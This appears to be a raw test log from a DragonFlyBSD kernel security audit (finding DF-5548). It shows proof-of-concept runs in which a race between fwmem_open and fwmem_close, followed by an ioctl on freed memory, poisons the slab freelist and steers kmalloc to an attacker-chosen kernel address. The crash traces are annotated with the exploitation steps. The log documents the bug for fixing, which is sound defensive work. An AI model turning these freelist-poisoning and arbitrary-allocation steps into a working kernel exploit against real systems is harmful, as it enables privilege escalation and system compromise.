⬢ DragonFlyBSD Kernel Audit
DF-5548 / run.log
← back to finding ↓ download raw
# DF-5548 baselines (multiple guest boots, vm.sh reset with-src between fatal tests)
# module: df5547.ko (production firewire.c + fwmem.c, -D-renamed) -- build.sh

### test 4 -- LIVE race: 4 kernel threads racing production fwmem_open/fwmem_close
###                 on one shared cdev (== two processes open()/close() /dev/fwmem0.0)
# command: kldload ./df5547.ko; sysctl kern.df5547_test=4
df5548: race: entry
Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address	= 0x8
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff82603c33
stack pointer	        = 0x10:0xfffff80117f43a40
frame pointer	        = 0x10:0xfffff80117f43a50
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= Idle
current thread          = pri 12 
kernel: type 12 trap, code=0
CPU0 stopping CPUs: 0x0000003e
 stopped
Stopped at      dfw_fwmem_close+0x13:   movl    0x8(%rbx),%eax
# ^ production fwmem_close (fwmem.c:292) executed `fms->refcount--` with fms == NULL:
#   fault address 0x8 == offsetof(struct fwmem_softc, refcount).  A successful open
#   preceded every close in the racer, so si_drv1 was NULLed by a racing final close
#   between that open's check (fwmem.c:266) and its use (fwmem.c:269-270) / or its
#   fd was left with si_drv1 == NULL after the free raced the increment.

### test 2 -- stepwise replay: fwmem_ioctl(FW_SDEUI64) racing the final fwmem_close
# command: sysctl kern.df5547_test=2
df5548: round 0 fms=0xfffff8008d5f05d0 (16B zone), poisoned target M=0xfffff8008d5ef5e0 (same-slab LIVE chunk)
df5548: after production close: si_drv1=0, freed chunk head (c_Next) = 0xfffff8008d5e15f0
df5548: after production ioctl(FW_SDEUI64): FREED chunk 0xfffff8008d5f05d0 now holds 0xfffff8008d5ef5e0 (== ATTACKER VALUE, slab freelist poisoned)
df5548: kmalloc#1 = 0xfffff8008d5f05d0 (== freed chunk) -- zone head now walks to the poisoned pointer
panic: memory chunk 0xfffff8008d5ef5e0 is already allocated!
cpuid = 2
Trace beginning at frame 0xfffff8011811f678
chunk_mark_allocated() at chunk_mark_allocated+0x9e 0xffffffff80655e5e 
chunk_mark_allocated() at chunk_mark_allocated+0x9e 0xffffffff80655e5e 
_kmalloc() at _kmalloc+0x684 0xffffffff80657444 
df5548_replay() at df5548_replay+0x2d5 0xffffffff82604055 
df5547_fire_sysctl() at df5547_fire_sysctl+0xaf 0xffffffff82604c6f 
sysctl_root.isra.5() at sysctl_root.isra.5+0x166 0xffffffff80683d06 
Debugger("panic")
# ^ the production ioctl wrote 8 fully attacker-chosen bytes over the freed chunk's
#   freelist next pointer; kmalloc#2 followed it onto a LIVE chunk (on a non-INVARIANTS
#   kernel this is a silent double allocation -- two owners of one object).

### test 5 -- arbitrary-address poisoning variant (module-global target)
# command: sysctl kern.df5547_test=5  (recorded from the equivalent earlier run of the
#          same replay with arbitrary=1; proof lines precede the panic)
df5548: round N fms=<freed> ... poisoned target M=0xffffffff8260xxxx (module global -- arbitrary address)
panic: assertion "(((intptr_t)chunk ^ (intptr_t)z) & ZoneMask) == 0" failed in chunk_mark_allocated at /usr/src/sys/kern/kern_slaballoc.c:1659
cpuid = 2
Trace beginning at frame 0xfffff80117f536a8
chunk_mark_allocated() at chunk_mark_allocated+0x8a 0xffffffff80655e4a 
chunk_mark_allocated() at chunk_mark_allocated+0x8a 0xffffffff80655e4a 
_kmalloc() at _kmalloc+0x684 0xffffffff80657444 
df5547_fire_sysctl() at df5547_fire_sysctl+0x3b3 0xffffffff82604a03 
sysctl_root.isra.5() at sysctl_root.isra.5+0x166 0xffffffff80683d06 
userland_sysctl() at userland_sysctl+0x111 0xffffffff806840a1 
Debugger("panic")
# ^ kmalloc handed out the ATTACKER-CHOSEN kernel address; the out-of-zone assert is
#   the only thing that stopped a silent arbitrary-address allocation on this kernel.

### test 3 -- post-race state "fd alive, si_drv1 == NULL": production ioctl
# command: sysctl kern.df5547_test=3
df5548: production fwmem_ioctl(FW_SDEUI64) with si_drv1==NULL (fwmem.c:407-410) -- expect Fatal trap 12 (bcopy to 0x0)
Fatal user address access from kernel mode from sysctl at ffffffff82604ca5
Fatal trap 12: page fault while in kernel mode
cpuid = 2; lapic id = 2
fault virtual address	= 0x0
fault code		= supervisor write data, page not present
instruction pointer	= 0x8:0xffffffff82604ca5
current process		= 995
kernel: type 12 trap, code=2
CPU2 stopping CPUs: 0x0000003b
 stopped
Stopped at      df5547_fire_sysctl+0x115:       movq    %rcx,(%rax)
# ^ the bcopy target &fms->eui with fms==NULL: supervisor WRITE at 0x0 (fwmem.c:410;
#   fwmem_ioctl was inlined into the sysctl frame in this build)